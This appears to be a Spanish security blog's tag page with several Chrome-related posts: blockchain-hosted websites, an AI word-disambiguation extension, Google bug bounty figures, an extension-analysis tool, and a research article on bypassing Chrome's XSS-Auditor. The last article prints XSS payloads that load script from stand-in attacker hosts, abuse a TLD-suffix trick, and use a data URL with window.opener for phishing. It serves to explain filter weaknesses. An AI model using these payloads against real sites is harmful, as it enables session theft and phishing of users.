Mostrando entradas con la etiqueta Chrome. Mostrar todas las entradas
Mostrando entradas con la etiqueta Chrome. Mostrar todas las entradas

miércoles, marzo 27, 2024

Serverless & Bullet-Proof Web Sites (2 de 2): Web2Blocks & WebScalerAI

En la primera de este artículo: "Serverless & Bullet-Proof Web Sites (1 de 2)" terminamos hablando de cómo utilizar Web3 para hacer paneles de control para botnets o redes sociales utilizando arquitecturas Dapps, pero lo dejé ahí porque quería esperar a la RootedCON 2024 de este año para hablar de los proyectos que hicimos nosotros de continuación de estas ideas.

Figura 1:Serverless & Bullet-Proof Web Sites (2 de 2): Web2Blocks & WebScalerAI

El primero de ellos es Web2Blocks para guardar páginas web en cadenas BlockChain, y el segundo de ellos es WebScalerAI, que busca reducir el tamaño de las páginas web que hay que almacenar en una cade de bloques utilizando GenAI para amplificar texto e imágenes de páginas web. Os los enseño un poco.

Web2Blocks: Un Web back-end en BlockChain

El objetivo de este proyecto es bastante sencillo, se trata de almacenar una página web, por ejemplo un blog como éste, en una estructura de bloques de una cadena de BlockChain, que evite que se pueda censurar siempre y cuando se conozca la estructura de bloques que almacenan la web

Figura 2: La extensión permite anclar una web en una cadena BlockChain

Para ello hicimos una extensión que hace las dos funciones, la de guardar en bloques de la cadena de BlockChain el contenido de la web, y la de buscar una web buscando los bloques que conforman esa web para poder cargarla en el navegador.

Figura 3: Índice de bloques de la web "blog"

Así, se busca el contenido en todos y cada uno de los bloques marcados en el "índice de bloques" de una determinada web - que para nuestra PoC - almacenamos con un nombre simple, y se recompone la página en el cliente. 

Figura 4: La extensión permite buscar web por su nombre

Las posibilidades de esta arquitectura son muchas, para evitar que se borren contenidos, que se censure una web, o para evitar que pueda ser eliminada,

Figura 5: La extensión descarga la web de la cadena de Blockchain y la pinta

Por supuesto, en esta arquitectura se puede aún añadir una capa mayor de protección, permitiendo que la página web esté cifrada y cargada desde un SmartContract, y que este SmartContract solo descifre el contenido de esa web si el usuario ha decido abrir la web con un Latch Web3.

Al final, se trata de jugar con una arquitectura web que utiliza otras estructuras de almacenamiento para, usando las tecnologías Web3 darle más control al creador del contenido de esa web.

Figura 7: Misma web cargada desde HTTP Server y BlockChain

Pero claro, almacenar una página web con muchos elementos, puede tener un tamaño que hagan muy caro utilizar estructuras BlockChain, así que se nos ocurrió que podríamos usar GenAI para reducir el tamaño de la web.

Figura 8: Demo de Web2Blocks en vídeo

Y ahí nació la idea de WebScalerAI, que ahora paso a contaros con esta pequeña PoC que tenemos a continuación.

WebScalerAI: Comprimir y Descomprimir Webs con GenAI & DeepLearning

La idea es bastante sencilla. Se trata de reducir el texto de una web, haciendo una reducción del texto y de las imágenes que se almacenan en el backend, por ejemplo en una cadena de BlockChain como en el caso anterior de Web2Blocks.


Figura 10: Una web con imágenes a mínima calidad y texto en "Prompting"
ocupa 400 Kb

Para ello, los textos se podrían reducir por un "Prompt" para un LLM/SLM que corriera en un entorno Cloud, o como creemos nosotros que será en el futuro, que es en cada aplicación. Esto significarían que tendríamos un navegador web con un SLM como parte de sus funcionalidades.

Figura 11: Expandida esta web pesa 1.5 MB entre texto e imágenes

Así, sólo habría que enviar el Prompt y una extensión del navegador, como la que tenemos en nuestra PoC hace el "inflado" del texto para que se pueda leer.

Figura 12: Super-reducida ocupa 100Kb

Con las imágenes, la misma idea. O bien contar con una generación mediante Prompting de un algoritmos de difusión que corriera en el navegador, o bien mediante el envío de una imagen de un tamaño muy pequeño y su ampliación mediante IA.

Figura 13: Página expandida con WebScalerAI

Para nuestras pruebas hicimos todo tipo de combinaciones, y probamos incluso Transformers en el navegador con la librería transformers.js que tenéis en GitHub - que es un SLM tipo distilbert - y para ampliación de imágenes en el navegador usando DeepLearning (CNN) usamos la librería waifu2x-js que tenéis en GitHub.
Al final, el resultado es el que véis en el vídeo. Una web con un texto y una serie de imágenes se puede comprimir o descomprimir usando GenAI & DeepLearning para lograr - cuando el objetivo sea el mínimo tamaño -, reducir al máximo el peso de una web.


Figura 15: WebScalerAI - Comprimir y Descomprimir Webs
con GenAI & DeepLearning

Al final son sólo pruebas y propuestas de nuestro equipo de "Ideas Locas" para seguir creando pasitos que nos lleven a entender mejor este mundo, y tomar mejores decisiones en todo lo que construimos.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  


jueves, abril 06, 2023

Leia-X para Google Chrome: Una extensión para desambiguar palabras con Inteligencia Artificial

La última semana de Abril tuvo lugar el Congreso de Lengua Española en Cádiz, donde Su Majestad El Rey presidió una sesión de trabajo sobre LEIA, el proyecto de Lengua Española e Inteligencia Artificial, donde las empresas tecnológicas hicieron un recorrido sobre los avances que están haciendo a dicho respecto.
Entre ellas, Telefónica, que impulsó este proyecto desde el principió, presentó una pequeña herramienta que hemos desarrollado junto con la RAE para que los estudiantes de Lengua Española puedan desambiguar el significado de una palabra en un texto.


El resultado es una extensión para Google Chrome llamada Leia-X - se irán publicando más formas de conectarse al servicio - que utiliza Inteligencia Artificial para analizar el contexto de un término y poder elegir cuál es la acepción más probable del diccionario que se está utilizando en ese uso concreto.
Para utilizar la extensión se puede descargar desde la Chrome Web Store de Leia-X. Y una vez que se instale, su funcionamiento es muy sencillo, ya que basta con seleccionar un término en una web, hacer clic con el botón derecho del ratón, y pedir a Leia-X que lo desambígüe.
Así, en el ejemplo anterior, jáquer tenía una connotación negativa, y el resultado más probable es que esté haciendo referencia a un "pirata informático", algo que sucede muchas veces en textos - por desgracia -. 
Pero en el ejemplo anterior, el resultado es justo lo contrario, ya que hace referencia a una acepción positiva del término - como es para nosotros, vaya -, así que el resultado de Leia-X es la acepción de la RAE que más nos gusta.

Funcionamiento de Leia-X

Según explica el Dr. Richard Benjamins, responsable de este proyecto, en la nota de prensa que hicimos en Telefónica, la extensión se basa en un modelo entrenado específicamente con texto en español (concretamente el modelo BETO, entrenado por la Universidad de Chile) para la resolución de un problema que no necesita los grandes modelos del lenguaje (LLMs por sus siglas en inglés) como GPT3 o GPT4: la desambiguación del significado de una palabra.


El modelo (BETO) se entrenó, por la Universidad de Chile, en una tarea que se conoce como “fill the mask”, relleno de máscara, y que consiste en, dada una frase, enmascarar una palabra y pedir al modelo que intente predecir cuál es la palabra que mejor se ajusta. Este método de aprendizaje automático se llama “auto supervisado”. Al realizar esto un número suficiente de veces, el modelo es capaz de extrapolar qué palabras están relacionadas con el contexto en la frase o cuál es, por ejemplo, el sentimiento de la frase, cuando se requiere utilizar un verbo o un sustantivo. En resumen, la IA aprende a extraer el conocimiento o correlaciones entre las palabras que componen una frase.

De esta manera, se ha construido un corpus de más de 70.000 ejemplos basados en varios diccionarios provisto por la RAE. En el Diccionario del Estudiante cada acepción o definición de una entrada tiene un ejemplo positivo, la acepción correcta. Para complementar dicho corpus, también se ha aprovechado el conocimiento provisto por el Diccionario de la Lengua Española (DLE) en el cual aproximadamente el 15% de sus acepciones tiene ejemplos de uso. Gracias al corpus generado se ha adaptado el modelo BETO incorporándole la capacidad de desambiguar. 
Una vez adaptado, el modelo - LEIA-X - es capaz de asignar a cada una de las duplas palabra-oración la confianza o probabilidad que un significado concreto sea el correcto. En el caso del ejemplo de «banco», para la primera oración el modelo asignaría una probabilidad cercana al 0% y para la segunda una confianza cercana al 100%, mostrándonos esta última como el significado más probable. Ha conseguido, por tanto, desambiguar la palabra.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  


sábado, febrero 12, 2022

Google pagó 8.7 Millones de dólares en recompensas a los Bug Hunters por descubrir bugs en Android, Chrome o Play

Hace no mucho publicamos en 0xWord el libro de "Bug Bounty: De profesión Cazarecompensas", escrito por Pablo García, donde se habla de cómo funcionan los programas de Bug Hunting en las diferentes plataformas que han ido apareciendo en la red como HackerONE, bugcrowd, Integrity o Yes, We Hack!. Ahí nos cuenta cómo han sido sus experiencias de Bug Hunter y cómo se paga a los Security Researchers por el descubrimiento de nuevos bugs en sus tecnologías.

Figura 1: Google pagó 8.7 Millones de dólares en recompensas
a los Bug Hunters por descubrir bugs en Android, Chrome o Play

Una forma de recompensar el tiempo y el esfuerzo de los hackers que invierten su tiempo y su conocimiento en eliminar vulnerabilidades en herramientas, productos, servicios y plataformas de empresas. Y ahora Google ha publicado los datos de lo que se ha gastado en pagar a los Bug Hunters este año pasado 20221, que ha sido un total de 8.7 Millones de USD, lo que supone un poco más de 2 Millones de USD de lo que pagó el año 2020. Por fallos que han sido principalmente en Android, Chrome y Play

escrito por Pablo García en 0xWord

En el caso del programa de recompensas por bugs de Android, han sido casi 3 Millones de USD en recompensas, de las que la más grande ha sido de 157.000 USD, repartidos todo el dinero entregado entre 119 Security Researchers que reportaron sus vulnerabilidades a, equipo de Google.

Figura 3: Recompensas pagadas por Google por bugs en Android
a Security Researchers durante el año 2021

Google Chrome ha premiado a 115 Security Researchers, por una cantidad un poco mayor, llegando a los 3,2 Millones de USD, pero el premio mayor fue "sólo" de 45.000 USD. Muchos de ellos de saltarse medidas de seguridad del navegador, como las que hemos visto durante muchos años, pero con algunos muy especiales como el CVE-2021-21225 del hacker Brendon Tiszka o el reportado por Rory Mcnamara que podía abrir el camino a un control completo de Chrome en Android. Y el número total de bugs descubiertos por los investigadores ha sido de 333 en 2021, superando los 300 bugs reportados en 2020 para Google Chrome.

Figura 4: Recompensas pagadas por Google por bugs en Chrome
a Security Researchers durante el año 2021

En Google Play las recompensas fueron de 500.000 USD, que sumadas a otros programas de Bug Bounty de Google, hacen que se alcancen esos 8.7 Millones de USD de los que habla el informe que han publicado en el blog de seguridad de GoogleAl final, han sido 696 Bug Hunters de 62 países que han descubierto  y reportado fallos a través del portal de reporte de vulnerabilidades en Google.
Como os podéis imaginar, cada vez encontrar y reportar una vulnerabilidad es una competencia mayor por la calidad profesional de los Security Researchers, pero esto es algo por lo que la comunidad hacker llevaba muchos años reclamando. Que los investigadores fueran recompensados por hacer Responsible Disclosure de los bugs que ellos han descubiertos, que al final hacen que los usuarios estén más protegidos, y que las empresas tengan una mejor tecnología.
 
¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  


jueves, mayo 10, 2018

Neto: Un framework en Python para analizar extensiones de Chrome, Firefox y Opera

El equipo del laboratorio de innovación de ElevenPaths nos ha liberado ya una nueva herramienta, escrita en Python, para poder analizar las extensiones de los navegadores Google Chrome, Mozilla Firefox y Opera, tanto en procesos de descubrimiento de malware como en informes de análisis forense.  Esta semana le dedicaron un Post en el Blog de ElevenPaths.

Figura 1: Neto, un framework en Python para analizar extensiones de Chrome, Firefox y Opera

La herramienta, que se ha bautizado como NETO, está incorporada en pip, así que su instalación en cualquier Kali Linux es bastante sencilla, pero también funciona como librería de Python, con lo que puede invocarse de múltiples maneras.

Figura 2: NETO en GitHub 

Puedes descargarte la herramienta desde su repositorio en GitHub[Neto], y además contribuir con aportaciones, ya que está liberada como Software Libre. Cualquier plugin que se te ocurra que falta, o que creas que tiene sentido, puede ser creado para que todo el mundo lo utilice.


Figura 4: Neto, instalación y uso

En el vídeo que acompaña este artículo tienes el proceso de instalación, y utilización, para que desde hoy mismo te pongas a trastear con la herramienta.

Saludos Malignos!

lunes, agosto 28, 2017

Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Durante el trabajo de creación del libro "Hacking Web Applications: Client-Side Attacks", Enrique Rando estuvo realizando muchas pruebas sobre los principales navegadores de Internet. Como os podéis imaginar, los filtros Anti-XSS, así como otras medidas de protección por defecto contra otros ataques "Client-Side" fueron su día a día. En este artículo nos trae sus reflexiones sobre los límites de XSS-Auditor, la herramienta de protección Anti-XSS de Google Chrome.

Figura 1: Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Jugando con XSS-Auditor de Google Chrome

1.- Introducción

¡Ah, los filtros anti-XSS! Llevan ya su tiempo entre nosotros y sin embargo, siguen planteando problemas de difícil solución y alternativas sobre las que no nos ponemos de acuerdo. Aunque quizá el problema no radique tanto en los propios filtros sino en el inestable terreno en que éstos prestan sus servicios.

Porque: ¿dónde ponemos la línea roja que un filtro anti-XSS no debe permitir sobrepasar? ¿Es preferible ser súper exigentes y detener todos los ataques posibles a costa de sufrir muchos falsos positivos? ¿O es preferible asegurar el funcionamiento de las aplicaciones aunque esto suponga que de vez en cuando un ataque tenga éxito? ¿Está, como dice el refrán, la virtud en el término medio o acaso la falta de un criterio claro y definido no permitiría alcanzar ningún objetivo y sólo serviría para confundir? A veces me alegra pensar que será otro, y no yo, quien tenga que responder estas preguntas.

2.- Como saltarse XSS Auditor por menos de 6 euros

2.1.- La aplicación

Hace algún tiempo me encontré con una aplicación cuyo código tenía unas cuantas características curiosas. En ella me basé cuando escribí el siguiente código:

Figura 2: Se trata de una aplicación que te despierta a la hora que tú le digas.

Figura 3: El despertador

Analizando el código fuente se puede comprobar que existe una vulnerabilidad de XSS, explotable a través del parámetro GET “hora”. Pero XSS-Auditor impide el intento de inyectar código JavaScript en línea:

Figura 4: Bloqueado por XSS-Auditor

… o de insertar una etiqueta “<script>“ que cargue su código desde un servidor, “malicioso.example.net”, controlado por el atacante:

Figura 5: También bloqueado

Pero…

2.2.- Lo que XSS-Auditor deja pasar (y lo que no)

XSS-Auditor es una herramienta contra ataques de Cross-Site Scripting de tipo “reflejado”. Y “Cross-Site Scripting” viene a significar “Scripting entre sitios”. O sea, inyectar scripts de otro sitio en la página víctima. ¿Permitiría XSS-Auditor inyectar scripts si éstos son del propio sitio? Pues… parece que sí.

Figura 6: Same-Site Scripting aceptado.

Lo cual, si se combinara con una posibilidad de subir contenidos al sitio podría ser peligroso. Una condición que impone XSS-Auditor para estos casos es que la URL no lleve una Query String. Las alarmas salta en cuanto haya algo a continuación de un carácter “?”:

Figura 7: Parámetros GET No permitidos.

Lo cual me hace pensar en esas URLs “search engine friendly”. Por ejemplo: ¿Tiene tu web un mecanismo de “control de salidas” que usas cuando tus enlaces re-dirigen a otros sitios? Me refiero al típico “redirect.php” o similar. Entonces, seguro que controlas con una lista blanca los posibles destinos ¿verdad?

Pues, por si acaso, yo añadiría otra condición: asegúrate de que usas un parámetro GET para indicar, de una forma u otra, a dónde quieres enviar a tus usuarios. No sea que, al final, una URL de tu sitio pueda llevarles a donde el atacante quiera mientras XSS-Auditor hace como que no se da cuenta.

Pero hay algo más. A XSS-Auditor parece molestarle que se inyecte un script con un origen extraño incluido en la URL. No quiere permitir a un atacante elegir el dominio desde el que el contenido se descarga. Pero obsérvese el código PHP vulnerable:
Figura 8: Código vulnerable a la inyección de scripts

Justo a continuación del valor de “$hora”, sin ningún espacio de por medio, se añade el texto “AM”. Podríamos ver qué pasa si el script se carga de un dominio cuyo nombre no aparece completo en la URL. Por ejemplo, con:
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://example.
Esto produciría que en el código creado apareciera lo siguiente:

Figura 9: Código resultante tras la inyección

… que trataría de cargar el contenido de “http://example.AM” y ejecutarlo como un script. XSS-Auditor, tras comprobar que “script.example.AM” no forma parte de la URL ni del resto de elementos de la petición, parece relajarse y no entrometerse:

Figura 10: Esto sí pasa el filtro

De modo que sólo hace falta comprar un dominio “.AM”, que corresponde al TLD de código de país correspondiente a “Armenia”.

2.2.1.- Hora de abrir la hucha

Pero los dominios “.AM” cuestan más de lo que yo estaría dispuesto a gastarme.

Figura 11: Mucho dinero para un dominio de pruebas...

De modo que mejor me busco otra cosa.

2.2.2.- Vamos a hacerlo "Low cost"

En realidad, no hace falta que el dominio a usar pertenezca al ccTLD “.am”. Basta con que termine en “am”. Y, desde hace unos años, con la puesta en servicio de los TLD genéricos, hay donde elegir. Ahora tenemos un buen número de dominios de primer nivel, más de 1.500, y siguen apareciendo otros nuevos. La lista puede consultarse en ICANN.

Figura 12: Lista de TLDs disponibles

De modo que sólo es cuestión de ver cuántos de ellos terminan en “AM”. O, traducido al lenguaje de las expresiones regulares:
AM\s*$
Usando una herramienta como “grep” o quizá un editor de texto con soporte a la búsqueda por expresión regular, se obtendrá una lista de candidatos. Alguno incluso con caracteres “internacionales”:
AM
AMFAM
AMSTERDAM
CAM
SHRIRAM
STREAM
TEAM
WEBCAM
XN--QXAM
Algunos de ellos pertenecen a una organización que lo usa para sus propios fines y no permite registros de terceros. Otros son relativamente caros. Pero a veces se tiene suerte:

Figura 13: Un dominio por menos de 6 € para la prueba

Esto es bastante más asequible. Supongamos que registro el dominio “example.team”. Entonces podría tener un servidor llamado “script.example.team” que responda a su URL principal con algo tan sencillo como:
alert("¡Te calcé un XSS!");
Y, si alguien visitara
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://script.example.te
… vería…

Figura 14: Cuidado con los nuevos TLDs

2.3.- Phishing de ida y vuelta

2.3.1.- El objetivo

En este segundo ejemplo voy a utilizar una aplicación vulnerable que creé en su día para poder hacer los experimentos con gaseosa. Entre otras muchas cosas, la página de inicio de sesión presenta una vulnerabilidad de XSS a través del parámetro GET “url”. Por ejemplo:
http://aplicacion.example.com/login.php?url="><h1>TEXTO INYECTADO</h1><x x="
Figura 15: Inyectando un texto

En este caso, se inyectaba un texto. Y XSS-Auditor lo permite, pues cabría pensar que un texto puede hacer poco daño. Los angloparlantes tienen un refrán que dice “sticks and stones may break my bones, but words can never hurt me”. “Los palos y las piedras pueden romperme los huesos, pero las palabras nunca podrán dañarme”. Suena bien, pero… en casos como éste podría haberse probado con algo del tipo
Llama al teléfono 000000000 para asegurarte de que tu cuenta no ha sido comprometida por el reciente ataque.
No sigo más por este camino. Lo que iba a contar es otra cosa. Resulta que XSS-Auditor permite inyectar enlaces. Incluso con destinos que pudieran ser maliciosos, como en:
http://aplicacion.example.com/login.php?url="><a href="http://malicioso.example.net" target="_blank">Pulsa aqu%26iacute;&lt/a>&lt/h1>&ltx x="
2.3.2.- En vías de ser declarado obsoleto

A riesgo de dar un giro demasiado brusco, quisiera comentar aquí algo que considero una muy buena noticia. Hace unos meses, el equipo desarrollador de Google Chrome anunció que este navegador dejará de soportar las URLs de esquema “data” en las ventanas principales. Puede leerse al respecto en esta URL.

De modo que, antes de que sea demasiado tarde para contarlo, vamos a ver qué podríamos hacer con una URL de tipo data de modo que XSS-Auditor no se percate.

2.3.3.- Cuidado con lo que te inyectan

Probemos, pues, con un enlace cuyo destino sea una URL de esquema “data”. La inyección podría usar hojas de estilo en cascada para mejorar el aspecto visual…

Figura 16: Inyección con "data"

El resultado es un mensaje que quiere resultar atractivo:

Figura 17: Inyección en la página de login

Cuando el usuario haga clic en él, se abrirá una nueva ventana y se cargará en ella una URL con esquema “data”:

Figura 18: Inyección resultante

Esto crea un documento HTML con un breve texto

Figura 19: El texto resultante

… y un script que, debidamente embellecido quedaría:

Figura 20: El script resultante

El objeto “opener”, o “window.opener” hace referencia a aquella ventana responsable de que se haya abierto a la actual. En este caso, la del login de la aplicación. Y el script hace que se cargue en ella un nuevo documento, procedente de un servidor malicioso. Algo que se conoce que sucede cuando se utiliza el target="_blank". Cuando el usuario cierre la ventana del aviso, se encontrará con algo muy parecido a lo que tenía al principio:

Figura 21: ¿De vuelta a la misma página?

Y caerá en la trampa si no es capaz de darse cuenta de que hay algo raro en la URL de la barra de direcciones.

Figura 22: La URL es otra. Y no tiene buena pinta.

2.4.- Mode=block debería ser mode=block

Como pudo apreciarse en los primeros ejemplos de este artículo, las últimas versiones de Google Chrome siguen por defecto el comportamiento que establece la cabecera HTTP “X-XSS-Protection: 1; mode=block”. O sea, en caso de detectar un ataque XSS no se muestra el contenido de la página. Pero las cosas no siempre son exactamente como parecen. Supóngase que se tiene una página vulnerable a XSS con un código como el siguiente:

Figura 23: Código vulnerable a XSS con header X-XSS-Protection

Las primeras líneas se aseguran de que la protección contra XSS se configure correctamente. La vulnerabilidad está en el código PHP del final. Y a medio camino se encuentran otros scripts. Pues resulta que si se trata de explotar la vulnerabilidad, por ejemplo con
http://www.example.com/1/2.php?q=<script>alert(1)</script>
… aunque el documento no sea dibujado en pantalla, los scripts previos al punto de inyección se ejecutarán y podrán interactuar con el DOM (Modelo de Objetos del Documento):

Figura 24: Los scripts previos a la inyección XSS se ejecutan

Y sólo cuando se llegue a la inyección se producirá el efecto que se habría esperado tener desde el principio.

Figura 25: A buenas horas.

Supongo que a alguien se le ocurrirá como sacar partido de esto ¿verdad?

2.5.- Para ir terminando

No es que XSS-Auditor sea una mala herramienta. Crear un filtro anti-XSS como éste es una tarea difícil y es imposible cubrir todos los posibles ataques a la vez que se intenta mantener la compatibilidad con todas esas aplicaciones que hay ahí afuera. Es que las aplicaciones deberían estar bien escritas.

Autor: Enrique Rando, escritor en en "Hacking Web Applications: SQL Injection", "Hacking con Buscadores", "Hacking Web Technologies" & "Hacking Web Applications: Client-Side Attacks".

Entrada destacada

+300 referencias a papers, posts y talks de Hacking & Security con Inteligencia Artificial

Hace un mes comencé a recuperar en un post mi interés en los últimos años, donde he publicado muchos artículos en este blog , y he dejado mu...

Entradas populares